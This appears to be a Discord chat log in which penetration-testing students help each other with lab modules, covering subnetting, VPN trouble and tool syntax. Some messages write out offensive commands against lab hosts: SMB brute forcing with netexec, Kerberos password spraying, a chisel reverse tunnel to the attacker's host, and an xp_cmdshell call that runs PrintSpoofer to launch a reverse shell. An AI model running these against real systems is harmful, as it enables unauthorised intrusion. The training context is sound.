#modules

1 messages · Page 248 of 1

dim wolf
#

not SSH.

#

pick a service that you can brute force easily and quickly

fathom pendant
#

Scan what's available

worn matrix
#

nvm,i am noob.i run for smb now

fathom pendant
#

that should work ¯_(ツ)_/¯

#

Though I forget if SMB is set up to accept any pw

#

(But not auth you fully)

#

Netexec would be better for smb imo

worn matrix
#

is this command wrong? netexec --verbose smb 10 10.129.122.249 -u sam -p mut_password.list

#

because i run it but it doesnt run,so i used msfconsole

fathom pendant
worn matrix
#

forget the second 10

fathom pendant
worn matrix
#

no no without it ;p is it correct without it?

fathom pendant
#

should be ¯_(ツ)_/¯

#

Iirc the syntax is nxc protocol target options

#

Been a minute though

worn matrix
#

┌─[parrot@parrot]─[~/Desktop/modules/passattacks/2ndcube]
└──╼ $netexec --verbose smb 10.129.122.249 -u sam -p mut_password.list
[18:40:45] INFO Socket info: host=10.129.122.249, connection.py:106
hostname=10.129.122.249, kerberos=False, ipv6=False,
link-local ipv6=False
INFO Error creating SMBv1 connection to 10.129.122.249: ('unpack smb.py:494
requires a buffer of 1 bytes', "When unpacking field
'SecurityMode | <B | b''[:1]'")
SMB 10.129.122.249 445 NIX01 [*] Windows 6.1 Build 0 (name:NIX01) (domain:) (signing:False) (SMBv1:False)
INFO Error creating SMBv1 connection to 10.129.122.249: ('unpack smb.py:494
requires a buffer of 1 bytes', "When unpacking field
'SecurityMode | <B | b''[:1]'")
SMB 10.129.122.249 445 NIX01 [-] \sam:mut_password.list STATUS_LOGON_FAILURE (The attempted logon is invalid. This is either due to a bad username or authentication information.)

#

i think i am doing something so wrong

fathom pendant
#

nxc smb --help

worn matrix
#

still no clue,i ll let msfconsole run ;/

fathom pendant
worn matrix
#

for some reason

#

it wants .txt to run ..... ...

#

nxc smb 10.129.122.249 -u list.txt -p test.txt run

#

thanks for the help my friend!

fathom pendant
#

¯_(ツ)_/¯

vague sage
#

Submit the decimal representation of the subnet mask from the following CIDR: 10.200.20.0/27

fathom pendant
#

Hydra might be faster

vague sage
#

confusing

fathom pendant
vague sage
#

I've been rereading the whole thing I'm still confused on what exactly I'm supposed to do

fathom pendant
#

Divide the cidr notation by 8 and use the remainder to fill the next octet. So 27 divided by 8 is 3r3

#

So you fill the first 3 octects, and the left 3 bits of the next (4th) octet

vague sage
#

ah I see I think I got what you mean

fathom pendant
#

Masks are always filled left --> right with bits

#

So you won't see a mask with 10001000

worn matrix
#

the first is 10 so it ll be 00001010 . 2^1 + 2^3

fathom pendant
#

Well that's for ip addressing

#

Not for subnet masking

worn matrix
#

it wants the binary representation

fathom pendant
#

Of the subnet mask

worn matrix
#

of the IP

vague sage
worn matrix
#

OH mb mb

fathom pendant
fathom pendant
worn matrix
#

my bad

fathom pendant
#

They misread the question

vague sage
#

alright alright so I take the given cidr and divide it by 8?

fathom pendant
fickle thicket
#

does tier IV module, active directory LDAP and powerview increase the chances of passing CPTS?

fathom pendant
#

So if you have a 2r3 (/19) you fill the first 2 octets with bits, then fill the first (left) three bits of the next, and 0 the rest

vague sage
#

hm

fathom pendant
#

Everything you need to pass cpts is included in the course

#

And extra studying can actually cause you to overthink simple solutions

tough tundra
#

legit just generally, if you're having trouble and you think maybe you should know the answer, just take a step back chill out. sometimes a reset gets you in the right direction

thorn vale
fathom pendant
vague sage
#

tf this shit so confusing

vague sage
#

RAAAAHHHH

fathom pendant
vague sage
#

I'm currently watching a YouTube vid

fathom pendant
#

Cidr notation represents how many bits in the subnet mask

#

So /19 is 19 bits

vague sage
#

/27 is 27 bits yeah?

#

he said that the /? Number shows how many 1s are and the rest are 0s

#

yes?

fathom pendant
#

So 11111111.11111111.11100000.00000000 in binary or,
255.255.224.0

fathom pendant
#

Masks are left -> right

vague sage
#

yeah

fathom pendant
#

So n number of 1s followed by x 0s where x is 32 - n

#

You just split it into sets of 8

#

Because that's how ipv4 operates, in octets [sets of 8]

vague sage
#

ye

fathom pendant
#

The question is asking for the binary representation

#

Which is why I gave you the handy shortcut for filling in how many octects

vague sage
#

ooooh

fathom pendant
#

n/8 = xry where x is the number of octects to be filled completely and y is the number of bits in the next one

#

So 3r3 would be 3 filled with 3 bits for the next set

civic dawn
#

At VPN Servers What’s the different between UDP and TCP, which one better here ?

fathom pendant
solar grove
#

There is a question like this in the assembly module. " Download the attached file, and find the hex value in 'rax' when we reach the instruction at <_start+16>?" But there is no value called _start + 16 in the gdb gef tool. I solved the question, but what is the cause of this error?

wraith delta
#

Hi guys im stuck on AD skills assesment 1 does anyone know how to download mimkatz.exe onto the MS01 to solve the question "Find cleartext credentials for another domain user. Submit the username as your answer. " i just cant transfer any files onto MS01 for some reason please help

civic dawn
#

Now the hard question, how could I know which server is better for my location

I’m living in Saudi Arabia so guess it’s eu-academy-1 or 2

I guess I was using 2 so I planning to try 1

fathom pendant
#

R just stands for remainder

vague sage
#

oh my bad

fathom pendant
#

It's to separate the numbers in a way as to make them distinguished

#

If I say xy, then you assume multiplication of the numbers

vague sage
#

oh alr makes sense

solar grove
#

Hi guys. There is a question like this in the assembly module. " Download the attached file, and find the hex value in 'rax' when we reach the instruction at <_start+16>?" But there is no value called _start + 16 in the gdb gef tool. I solved the question, but what is the cause of this error?

cloud urchin
fathom pendant
#

The +n is the offset/step

wraith delta
#

wdym by pivot? im trying to download a file thats either on the webshell or on the linux

solar grove
#

@fathom pendantI guess I didn't make myself clear.
0x401002 <_start+0002> movsxd esp, DWORD PTR [r9+0x64]
0x401006 <_start+0006> gs ins DWORD PTR es:[rdi], dx
0x401008 <_start+0008> jns 0x40102b
→ 0x40100a <_start+000a> xor rax, 0x21449
0x401010 <_start+0010>
I know that start+0010 hex value is 16, but how to fix it, I don't want it to show with this notation.

quasi wave
#

is it ok to take notes twice for the same section if I am having trouble focusing?

fathom pendant
#

Sorry yea 10

cloud urchin
fathom pendant
#

But yes 10 would be the right step

quasi wave
#

like I'm on the vulnerability assessment module and I did this for the first section because due to some mental health issues I'm having trouble focusing and I feel like taking notes twice helps be injest the material better because the whole module is note taking, or at least most of it

vague sage
#

alright after all that?

solar grove
#

Got it, thank you. But when I solved this module 1 year ago, I got the start_16 result or I remember it wrong Thank you for your help ❤️

#

@fathom pendant

fathom pendant
#

So it properly worked

#

:]

solar grove
#

@fathom pendant+1

quasi wave
#

hi am I asking in the wrong server?

blissful elm
#

skipping rn

safe lichen
#

is anyone able to help with this?

quasi wave
fathom pendant
#

Reading and following #welcome will allow you to post images

fathom pendant
#

Rereading and revising notes helps reinforce core ideas

vague sage
fathom pendant
vague sage
#

yes

cloud urchin
vague sage
#

what do I do with that though

fathom pendant
#

X is full octets, y is remaining bits

fathom pendant
safe lichen
vague sage
fathom pendant
#

Oh decimal

vague sage
#

ye

fathom pendant
#

After you do the binary

#

Convert to decimal

#

All 1s is 255

cloud urchin
vague sage
#

if both 10?

fathom pendant
#

Then it's just 2^7+2^6+2^5

fathom pendant
#

The cidr notation is all you need for the mask

vague sage
#

oh oh ight thank you

fathom pendant
#

I cheat and use calc.exe in scientific mode and type 11100000 to get it

#

128+64+32 btw

vague sage
#

😭 brooo this shit is stressing

fathom pendant
#

It's really not that difficult

cloud urchin
safe lichen
fathom pendant
#

Every octet you fill with 1s is 255

cloud urchin
fathom pendant
#

Then you just math the one that's not full

vague sage
#

kinda makes me doubt if ill go through the cybersecurity master degree I was planning on doing (in about 4years)

vague sage
fathom pendant
vague sage
fathom pendant
#

Irl you rarely worry about subnetting unless you're doing the network setup

#

Cybersec is a broad field, much like pentesting is a specific field-- so is networking

#

This is just scratching the surface

#

A full deep dive into network architecture involves setting up VLANs and Switches

vague sage
#

I just don't wanna mess up the basics which will make my progress more difficult or something

fathom pendant
#

The more important takeaway is just being able to identify a network at a glance

vague sage
fathom pendant
fathom pendant
#

Reading binary is right to left in ascending powers

#

2^0 would be the rightmost bit

#

And 2^(n-1) is the leftmost bit, where n is the number of bits

civic dawn
#

Does anybody know why nmap sometimes work at pwnbox but not vm vpn

fathom pendant
#

Because nmap can be silly. Also if you're running pwnbox and the vpn on your own box at the same time, it causes issues

civic dawn
fathom pendant
vague sage
fathom pendant
#

If not I suggest hydra with ftp and 48 threads

hexed lintel
#

can anyone give hint on this
Module: Hacking wordpress
section: Directory Indexing

fathom pendant
#

You know an octet is 8 bits

civic dawn
#

It’s just annoying when I run my own vm and then need to shift to pwnbox

fathom pendant
#

So the leftmost bit is n-1

#

Because you don't start adding with 2

civic dawn
fathom pendant
fathom pendant
fathom pendant
civic dawn
# fathom pendant Password

Oh I got it and when I run to use it the pwnbox times up and I need to reset and guess what, I FORGOT TO SAVE THE PASSWORD 💔😭

fathom pendant
#

So you start at 0 on the right and go up to 7 on the left, that list of numbers is 8 long

cloud urchin
civic dawn
vague sage
#

fuck man

#

is it always from 2^7?

zealous swallow
#

Hello, good evening, does anyone know why when I try to log in it tells me that my credentials are incorrect? and they are saved.

cloud urchin
#

Try saving the right credentials instead, hope this helps

zealous swallow
#

but when I created my Google account it told me if I wanted it to save them for me hehe

cloud urchin
fathom pendant
vague sage
#

oooooooh

#

and always go down 2?
like its 2^7 and go another 2 down
2^6 2^5?

fathom pendant
#

Yep

#

Well

vague sage
#

yooooo

fathom pendant
#

You always go down until you run out of bits

fathom pendant
tough tundra
vague sage
#

oh

fathom pendant
#

It just depends

#

So a /25 would only be 2^7

vague sage
#

but?

#

because 27 is 2 over or something
my thinking is shit

fathom pendant
#

Ok so

#

Let's go back to the remainders

vague sage
#

yes

fathom pendant
#

So it's 2^(n-1) + 2^(n-2) + 2^(n-3)

vague sage
#

yeah

fathom pendant
#

It's a series

vague sage
#

mhm

fathom pendant
#

So if you had a remainder of 4, you continue the series

vague sage
#

alright wait

#

do i go like down do 2^4? ;-;

fathom pendant
#

No

vague sage
#

RAAAAHH NotLikeThis

fathom pendant
#

Your remainder is your count basically

#

You will never go below the remainder in your series

#

Oh wait yeah it's 2^4

#

I didn't math kek

vague sage
#

yay

#

if you tell me 3
then 2^5?

#

and so on?

fathom pendant
#

You continue the series yes

#

Remember it's always a series

vague sage
#

alright alright

fathom pendant
#

The remainder just fills the bits in left --> right

vague sage
#

mhm

fathom pendant
#

If it helps, write down 8 0s and under them, their relative 2^n representation, then their decimal representation

#

As a reference sheet

vague sage
#

imma watch some youtube vids as well

fathom pendant
#

Professor Messer is a good source

vague sage
#

imma check him out

fathom pendant
#

A lot of this stuff is on exams like Network +

#

Which is why there's tons of info

vague sage
#

i see

#

yeah enough for today lol
too much for my lil brain

#

broadcast address

#

naaaah

fathom pendant
#

broadcast address is always the last in the available range

#

which is why you can't assign a device x.x.x.255

#

and similarly the gateway is generally the first in a range (this number depends how it's split)

cloud urchin
vague sage
#

bro will not graduate dude
(havent even started uni)

cloud urchin
#

I never went to college, but I feel like what you're doing is already beyond college level. I talked to a guy the other week who graduated with a 4 year cyber security degree, but he had no idea what ZAP or PortSwigger was despite saying he did CTF's

vague sage
#

i wanna do like penetration testing
and yk thought cybersecurity would help at least

cloud urchin
#

no way

vague sage
#

really?

cloud urchin
#

unless you don't know the basics of computers and networking

#

a cybersec degree is for basic fundamentals

#

usually more blue team too

vague sage
#

yeah still gotta go through CS uni first so i still got 4years until the cybersec degree

vague sage
cloud urchin
#

maybe there's some specialized degree beyond cybersec that i don't know about, but i haven't ever heard of a pentesting course being taught by a college

vague sage
#

yeah no there isnt such thing if im not wrong
its only like cybersec
i think thats the closest thing you can get

dire abyss
#

i was about to start studying, noticed my vpn isnt connecting and i went to download a new vpn file.. where is the vpn file download now!? lol am i going crazy? but i dont see it

fathom pendant
#

in sections that require it there's a download on the page otherwise:

dire abyss
#

im on this and there should be a vpn to see the target

fathom pendant
#

So not necessary

dire abyss
#

really? lol damn okay im dumb nvm

#

your right, normally targets are 10.129.x.x

blissful elm
#

Log in to WordPress with the credentials for the john user,

#

is given john creds just example ? or something else

unreal berry
#

hi guys, Im doing the WP skill assessment. Can someone explain to me based on what he website name resolves ? I'll give an example, When I tried to Fuzz the VHost name and I added the site with the ending of ".htb" to me /etc/hosts file, It didnt resolve but When I changed the /etc/hosts file to ".local" it resolved and I dont understand why.

cloud urchin
#

we would need to see what you added to your hosts file and what command you used to resolve the host, if those two things are correct it will resolve

stuck fable
#

hi all I have a problem in the footprinting medium lab , I run microsoft sql server management as administrator (trought rdp), but when I want to enter the password i cannot do "@" and it's in the password, so i'm stuck any idea ?

cloud urchin
#

what command are you using that includes the password with @

#

if it's for rdp, you probably just need to surround your password with quotes

fathom pendant
unreal berry
#

thanks

#

I didnt know that

gray merlin
#

If the site uses a cert, you can check that for the FQDN, but that is not so common in the labs.

fathom pendant
#

maybe not a TLS cert

stuck fable
#

no i'm already in the rdp, i am in a windows session, but trough this windows session i must run sql as admin. A new window open where i need to enter a password but in this windows i cannot paste the password with right clic paste or with ctrl v. and i cannot make a @ with alt gr and 0. but the password contain a @

fathom pendant
#

but usually a script scan can reveal a bunch

fathom pendant
gray merlin
fathom pendant
#

(also you can use those creds to login as the ||adm||)

fathom pendant
#

¯_(ツ)_/¯

gray merlin
#

ahh, good point.

fathom pendant
#

but it's fairly common in the pentest path

#

if you're doing rdp and such and doing /cert:ignore you don't see the cert pop up at all

stuck fable
cloud urchin
fathom pendant
fathom pendant
cloud urchin
#

You could try accessibility options and opening the windows built-in on-screen keyboard to type the character most likely.

fathom pendant
#

¯_(ツ)_/¯

cloud urchin
#

lol what keyboard layout doesn't have the @ though.. you need it to email all the time

fringe urchin
fathom pendant
#

different layout doesn't mean that symbols stop existing

fringe urchin
#

Im usually swotching around 3 layouts. And its pain once you forget all the combos for | ' @ etc

fathom pendant
#

just means they're in alternate places

cloud urchin
#

then just type it 😛

fathom pendant
#

I think xfreerdp has a way to pass through the kb layout or you can go to settings whenever you rdp in and manually change it

stuck fable
#

hm i don't think its a qwerty problem, its strange cause anywhere else in the rdp session i can type @ but just in this windows of run as administrator i cannot anymore that's realy strange. i think i will make a post on the forum with a screen. tx for you help

gray merlin
#

Can you type it in notepad (or whatever) and then copy/paste?

cloud urchin
#

Try the OSK

stuck fable
#

no i cannot copy paste at all in this window, i try already i can just type letter and number the rest feel unresponsive. the parrot terminal say : unknow key with x keycode 0xfd

cloud urchin
#

what happens with the osk?

stuck fable
#

it work !!!! thank you very much.

#

and sorry for my bad english it is not my native language

cloud urchin
#

you did fine, didn't even know

celest bronze
#

can't solve broken authentication module predictable reset token plz help

celest bronze
acoustic owl
fathom pendant
#

gonna take a nap because i don't wanna download/configure ZAP for the intruder section of the Web Proxies module kek

acoustic owl
grim brook
#

Hey guys, I am stuck on the last question of the skill assessment for the NTLM relay attacks module, is there anyone I can DM for a hint ?

fathom pendant
#

can you ask and phrase your question here without spoiling the content i.e. using shorthands like <firstInitial>* for usernames and <firstCharacter>* for passwords, etc.

torpid cove
#

@fathom pendant I checked back the knowledge check exercise in the getting started module, I was able to inject the payload into one of the theme's source code and when I reloaded some link that links to the target, I got a "CSRF detected" but didn't get a shell back on my netcat listener and now Idk the link I visited to get a shell back, please help

torpid cove
#

I don't want t cheat by going to youtube, I want to be able to do this myelf

fathom pendant
#

most people, including myself, used msf to do it

summer lava
fathom pendant
#

you'll learn more techniques as you move forward

torpid cove
fathom pendant
#

i suggest not getting hung up on it

fathom pendant
fathom pendant
#

you now have an idea of the plugin and vulnerability

torpid cove
fathom pendant
#

👍 it's not shameful to look up guides for tier 0 content - sometimes it's overwhelming, especially when Getting Started is a mix of a bunch of surface level stuff

sleek moss
#

8

2024/05/07 18:47:38 > [+] VALID USERNAME: jjones@inlanefreight.local
2024/05/07 18:47:38 > [+] VALID USERNAME: sbrown@inlanefreight.local
2024/05/07 18:47:38 > [+] VALID USERNAME: tjohnson@inlanefreight.local
2024/05/07 18:47:38 > [+] VALID USERNAME: jwilson@inlanefreight.lo

when password spraying with kerbrute that is active domain username shud i do jjones or jjones@inlanefreight.local?

fathom pendant
#

generally domain users are the username@domain but sometimes it's the whole thing

#

the samAccountName though is the first bit ¯_(ツ)_/¯

sleek moss
#

i c

sleek moss
#

i even used pw for one of the accs and it still didnt show up a t success

#

like there shudve been one hit since i used a pw from useri n that list

fathom pendant
#

put the users in a file

sleek moss
#

i did

#

i was just giving an example of what they looked like

fathom pendant
#

also don't fucking print the giant list

sleek moss
#

soz

fathom pendant
#

we get the idea

#

also what did you put for the password?

sleek moss
#

a password from one of the users

#

but it got 0 hit then also Welcome1 Password123

#

but 0 hit...

fathom pendant
#

Welcome1 should work for one of the users in your list

#

also again you can just delete the list you pasted here

#

as it may contain spoilers, alongisde your comment

sleek moss
#

this shid just dont make sense///

fathom pendant
#

the password Welcome1 may work

sleek moss
#

i tried it but no work..

fathom pendant
#

this Q right?

sleek moss
#

KK021
SM297
ZT938
UK023

like this is my users list

#

yes

#

└──╼ $kerbrute passwordspray -d inlanefreight.local --dc DCIP users Welcome1

#

i used crackmapexec with domain acc to get users

#

2024/05/07 19:29:35 > Using KDC(s):
2024/05/07 19:29:35 > DC IP:88

fathom pendant
#

try signing onto one of the windows hosts and import DomainPasswordSpray --> use that ¯_(ツ)_/¯

sleek moss
#

i c make sense danke

fathom pendant
#

also weird that it's saying DC IP :88

#

if you do --verbose or whatever the flag is, it should show you what it's doing

#

i have a feeling it's not reading the users file or it's doing something funky

gray merlin
fathom pendant
gray merlin
#

ya it should. 🤷‍♂️

fathom pendant
#

¯_(ツ)_/¯

#

something is slightly off

#

i suggest also naming the userfile users.txt or users.list

#

¯_(ツ)_/¯

#

also when in doubt use ./ to tell it to use cwd for the file ./users.txt

sleek moss
#

┌─[htb-student@skills-par01]─[~]
└──╼ $./chisel client 10.10.15.127:9999 R:socks
2024/05/07 19:52:52 client: Connecting to ws://10.10.15.127:9999
2024/05/07 19:52:53 client: Connected (Latency 79.153822ms)

why wont this work
┌──(sam㉿kali)-[~/chisel]
└─$ ./chisel server --port 9999 --reverse

2024/05/07 16:51:10 server: Reverse tunnelling enabled
2024/05/07 16:51:10 server: Fingerprint g3LIdXHgewAUTP4DXt3pdT5CJS/DRh4gFGonf3LSpKM=
2024/05/07 16:51:10 server: Listening on http://0.0.0.0:9999
2024/05/07 16:52:00 server: session#1: tun: proxy#R:127.0.0.1:1080=>socks: Listening

└─$ proxychains ping 172.16.7.3
[proxychains] config file found: /etc/proxychains.conf
[proxychains] preloading /usr/lib/x86_64-linux-gnu/libproxychains.so.4
PING 172.16.7.3 (172.16.7.3) 56(84) bytes of data.

#

socks5 127.0.0.1 1080

fathom pendant
#

i'd just run the commands with the tools on the par01 host

sleek moss
#

i c makes sense

fathom pendant
#

you can pivot, but no need considering you have a stable host to use ¯_(ツ)_/¯

#

and yes, you can rdp to that host

cloud urchin
#

just dynamic ssh, so much easier

#

if you want to use chisel, you generally need to use an old version because the parrotboxes don't have the libraries for the newer versions, i believe 1.7.3 or below is fine

sleek moss
#

i c makes sense danke

cloud urchin
#

also, if you're using chisel, make sure it's setup for socks5 in your proxychains.conf

#

but yeah a lot easier to just dynamic port forward, it's sshing in with one extra parameter, vs sshing in and setting up chisel

fathom pendant
#

^

#

Or use ligolo Kappa

cloud urchin
#

lig what now?

#

i still need to set that up some time everyone talks so highly of it

fathom pendant
#

Pretty much more managed tunneling

cloud urchin
#

seems pretty similar, if not exactly the same as wireguard. it even uses wireguard's drivers

fathom pendant
#

Simpler to set up

#

And the dev has a tun of compiled versions

cloud urchin
#

a tun... i see what you did there

sleek moss
#

bruh └─$ ssh -D 9090 htb-student@10.129.39.248
└─$ sudo proxychains xfreerdp /v:172.16.7.3 /u:AB920
┌─[htb-student@skills-par01]─[~]
└──╼ $channel 3: open failed: connect failed: Connection refused
channel 3: open failed: connect failed: Connection refused
channel 3: open failed: connect failed: Connection refused

defaults set to "tor"

socks5 127.0.0.1 9090

#

if i xfreerdp from the attack host its just really laggy

#

its too slow..

cloud urchin
#

ssh dynamic port forwarding uses socks4

#

maybe i'm not understanding your setup

sleek moss
cloud urchin
#

you would be sshing into the parrotbox, the one you're logged into htb-student with

fathom pendant
#

i think he's (poorly) showing that after doing the dynamic forward, it's still not showing

#

but also idk if rdp is available on the A* host

cloud urchin
#

looks like the pivot is working, but it's the box that's refusing it then

fathom pendant
#

it might be and i'm misremembering

cloud urchin
#

still not sure though, not enough details for us to know

fathom pendant
#

yeah the DC doesn't have rdp enabled

#

they're trying to RDP to DC with a different machine's user

tender nimbus
#

Hey guys for the module introduction to windows commande line i'm stuck at a question of conten ""Finding files and directories"". I have to find the flag that is in the waldo.txt file but i can't find it i tried a lot of things but nothing worked. Hers the question. Any advice?

fathom pendant
#

trees or where will help you

#

as i stated in your community help post

#

tree /? and where /? will give you the command arguments that they accept

#

or you can look at the cheat sheet for a reference of commands and syntaxes

tender nimbus
#

@fathom pendant i already did just not the tree i will look tommorow

cloud urchin
#

when in doubt ask chatgpt for the command

tender nimbus
fathom pendant
#

i can assure you it can be found with tree

#

again if you use /? with a command it gives you all the available options and flags for it

cloud urchin
#

the tree command is OP tbh

tender nimbus
#

i used tree /F

#

and the waldo.txt is nowhere

fathom pendant
#

where are you using it from

#

if you're using it from your current home directory you won't find anything

#

maybe branch out from Users

unborn oriole
#

I'm sure this has been linked 1000x but I think a module question is wrong. It's a small thing but where can I provide feedback?

cloud urchin
#

every time i thought that i was wrong

tender nimbus
#

but it show everything also in c:\

fathom pendant
#

branch out from Users

unborn oriole
#

Well... this is a very simple thing and there are only 3 cases to check. If anyone has done the command injection module I could run it by them to verify before I submit anything

cloud urchin
#

sure

tender nimbus
#

ohhhhhhhhhh

tender nimbus
#

but why?

#

Why did i not see it from the C:\Users\htb-student>

fathom pendant
#

because by default; tools only assume their start is from the current working directory

#

so it doesn't look backwards

#

like if you do dir it doesn't show you the dir listing of the previous folder

#

it shows you the current folder

#

but if you specify dir C:\users\ it lists the C:\users directory

#

it doesn't know you want to look beyond it

#

or in this case go one step back and look at it all

rustic sage
#

If you're looking for the file itself you could use these in a powershell session

Get-ChildItem -Path C:\<add the rest> -name <the file name> -Recurse -Force

Once you find the file use Get-Content to output it by using this

Get-Content -Path <enter file path>

fathom pendant
#

or in CMD the where command

#

my best guess is they didn't specify the starting point early enough, and so they were stuck at C:/users/htb-student wondering why it didn't look at the whole computer

rustic sage
#

mmmm that looks to be it really

tender nimbus
#

thnks for you help

fathom pendant
#

as long as you're before the parent directory that hosts the file, it will find it

rustic sage
#

directory hierarchy we must remember

coarse schooner
#

Working on the web skills assessment and I'm at the point to reset the admin password, I've found a technique that will allow me to do this but it complains about missing parameters. Looking at the source code, it appears I have all parameters in my request. Any nudges?

unborn oriole
#

Thank you very much @cloud urchin

#

It turns out the module was right and I am a confirmed dum dum

sleek moss
#

any advice for config file on AD Enumeration & Attacks - Skills Assessment Part II AD Enumeration & Attacks - Skills Assessment Part II i che ked th files on|| C:\Windows\Microsoft.NET\Framework64\v4.0.30319\Config|| cant find

#
  • 1 Locate a configuration file containing an MSSQL connection string. What is the password for the user listed in this file?
fathom pendant
coarse schooner
#

That "change request method" feature is nifty

sleek moss
#

nvm i find

coarse schooner
#

XXE is definitely something I need to practice

fathom pendant
#

Im big chilling on the ffuf module

cloud urchin
#

it's a nice diverse tool

fathom pendant
#

I'm using the guide as a sort of "ok I got it, but how did they want me to get it now" and it's like "oh, the same way, nice"

distant plaza
#

bop

fathom pendant
sacred gull
#

ffuf is actually so useful

sleek moss
#

SQL> EXEC xp_cmdshell '"C:\Windows\SERVIC~1\MSSQL$~1\AppData\Local\Temp\PrintSpoofer64.exe" -c "C:\Windows\SERVIC~1\MSSQL$~1\AppData\Local\Temp\reverse_shell.exe"'

#

why wpt this work 05/07/2024 11:35 PM 27,136 PrintSpoofer64.exe

05/07/2024 11:41 PM 7,168 reverse_shell.exe

#

SQL> EXEC xp_cmdshell '"C:\Windows\SERVIC~1\MSSQL$~1\AppData\Local\Temp\PrintSpoofer64.exe" -c "C:\Windows\SERVIC~1\MSSQL$~1\AppData\Local\Temp\reverse_shell.exe"'
output


The filename, directory name, or volume label syntax is incorrect.

NULL

#

damn i got it to work dis shid is long..

fathom pendant
#

doesn't look like it's working to me

#

unless you figured out your mistake

#

damn so far the bruteforce module is EZ

blissful elm
#

WPScan was able to find valid credentials for one user, john:firebird1.

#

when i try those cred it giving errors wrong creds

#

solved

fathom pendant
#

?

blissful elm
fathom pendant
cloud urchin
#

i want to see this same energy on AEN

blissful elm
fathom pendant
#

these web modules are a breeze compared to the behemoth of AD enum

cloud urchin
#

yeah it's easy sailing from there

fathom pendant
#

like in the past i wanna say 6 hours i've completed the web module from then to this one

#

working my way through the services assessment now

blissful elm
#

so if a peson doing web app job do they need that AD knowledge or they can work witout it

fathom pendant
#

nah

#

AD isn't really involved in web app stuff

blissful elm
#

hmmm, so getting job in app sec can be easier for fresher?

fathom pendant
#

it just depends

blissful elm
fathom pendant
#

app sec is still a tough job ¯_(ツ)_/¯

#

you gotta know code reviewing and stuff like that

#

and you have to be relatively well versed in the lang you're testing

cloud urchin
#

you might run into internal web apps running inside private networks for a company, but i imagine the only way you'd get there is through a regular good o' pentest. so the web skills can still aid a pentester, but if you're focusing specifically on external websites then yeah i agree ad probably isn't going to be involved much beyond maybe authentication type things.

blissful elm
fathom pendant
cloud urchin
#

eh moreso on the internal web app

#

i worked for a fortune 500 that had some really shitty insecure java website internally

fathom pendant
#

yeah

#

that's what i was referring to

#

externally

cloud urchin
#

and snmp (:

fathom pendant
#

internally; OAUTH go brrr :)

#

free packets for days

#

granted in a TLS wrapped environment they mean nearly nothing

cloud urchin
#

i was more more talking to jojo about the question 'if a person does web app job do they need that ad knowledge'

#

just saying it may aid if you're pentesting like normally to know web, but not so much the other way

#

can definitely still happen though

#

these sysadmins are stressed

blissful elm
#

thx for explanations

tulip dragon
#

so i have completed 90% cpts and have cube to buy 1 module , which modules should i do after cpts

#

no specfic question just asking for opinion on recommend modules to try

fathom pendant
#

whatever you want to my guy

#

do a module that interests you

#

there's plenty of higher tier AD modules (that are completely unnecessary for CPTS) if you wanna dive more into AD

cloud urchin
#

my vote goes to adcs

fathom pendant
#

i forgot to tick a box in cupp kek

#

and just like that

#

gonna get some sleep before tackling SQLi

#

But speaking of brute forcing, everything was easy since I kinda just... read it

distant island
#

overall is using AI to remember some command syntax but overall i know what i am doing wrong ?

fathom pendant
#

It'll help you understand it more

lavish mango
cloud urchin
#

AI is good and a lot of times it can help your syntax but it also makes stuff up and is just flat out wrong sometimes. You don't want to rely on it and instead be diligent in note taking.

fathom pendant
#

I often just can do <command> --help or man <command> and find the syntax mistaken faster

distant island
#

yeah i will start taking notes fr

fathom pendant
#

AI can be a valuable tool. But it shouldn't replace your brain and regular notes

patent oak
cloud urchin
#

yeah it's pretty awesome for stuff like that

patent oak
#

That's the first time its screwed me over since using paid Chat GPT 4

cloud urchin
#

ohhh i see lol

#

i misread your statement

patent oak
#

In fairness it was a weird thing only a human could notice perhaps

cloud urchin
#

yeah and then you can correct it and it'll be like "oh yeah sorry you're right"

patent oak
#

But still I got used to it being right

#

I work with a lot of student code so its amazing for reading and fixing their code

#

Up to a point

cloud urchin
#

yeah it's fixed my syntax many times, but then also i've seen it completely make up parameters that don't even exist for the app

patent oak
#

Yeah for sure

#

And the free one is awful for that

#

The paid one is pretty sick

#

Especially that I can screen shot and drop that in

#

I was setting up an AD network to play with yesterday and its so handy to have an expert there to ask

#

But yeah you kinda have to know what the answer should be anyway and just use it as a time saver or it can drop you in wonderlamd

cloud urchin
#

yeah you need to know how to frame your questions properly so you need to have an understanding, at least enough of an understanding to know exactly what to ask for

#

in the past i noticed chatgpt refused to answer a lot of pentesting questions without more persistence, but lately it seems it gave up and just answers questions without bothering anymore.

quick basalt
#

Im getting error while doing nmap scan

#

Host seems down

#

im connected to vpn

cloud urchin
#

try a traceroute

patent oak
#

Did someone manually review or something

#

Mine was the same and occasionally out of the blue it starts saying it can't help with that. Not to be relied on

quick basalt
#

sorry i dont know how to

cloud urchin
#

the command is "traceroute"

quick basalt
#

yeah it opened help

cloud urchin
#

it should tell you there what to do. traceroute <ip>

#

that should show you where your connection is failing

quick basalt
#

i did ifconfig and i dont know which one to use

rustic sage
#

tun0 on VPN

cloud urchin
#

what module are you on?

quick basalt
#

service scanning

#

getting started

cloud urchin
#

alright well connection issues are generally going to boil down to only a few reasons. 1) you're not connected to the vpn, or on the wrong vpn. 2) you didn't spawn the victim host or are inputting the wrong ip address for the victim host. 3) you also have the pwnbox spawned while on the vpn which will cause conflicts because they share the same ip. 4) the box actually died in which case you may just need to restart it.

quick basalt
cloud urchin
#

well, go back to traceroute and see where the connection is failing

#

i would still wager it's one of the other things i mentioned

quick basalt
cloud urchin
#

idk i never pay attention to that

#

i run it as a background process and forget it

quick basalt
#

it didnt fail so

cloud urchin
#

you can type "ip a" and see if you have a tun0 (for kali)

quick basalt
#

im on parrot

#

and there are 4 tun

cloud urchin
#

ip a will work but the adapter may be named different idk i don't use parrot

#

ens something?

quick basalt
#

im seeing these for first time

#

what is unpsec

#

everytime new error

cloud urchin
#

read the error it will likely tell you what's wrong

quick basalt
#

traceroute ip(tun0)

cloud urchin
#

no, you need to traceroute to the victim

#

i still think it's one of the things i said, i really don't believe you did it all correctly because that will solve 99.99999% of people's issues here

quick basalt
cloud urchin
#

if you're connected to the vpn and ensure you're using the correct target IP address, the correct nmap syntax, and don't have the pwnbox spawned you should have no issues reaching the victim box.

#

you could also just use the pwnbox instead of your own machine

quick basalt
#

its laggy and limited time so

cloud urchin
#

not really

#

it despawns after like what, 6 hours you can go up to?

quick basalt
#

i never had this problem before

cloud urchin
#

then you can just respawn it again

#

oh nm idk if the pwnbox even despawns at all

#

i was thinking of the victim box

quick basalt
#

with and without vpn

cloud urchin
#

what's the full ip

#

also what's the victim box ip, and what is your nmap command

quick basalt
#

nmap -sV target

cloud urchin
#

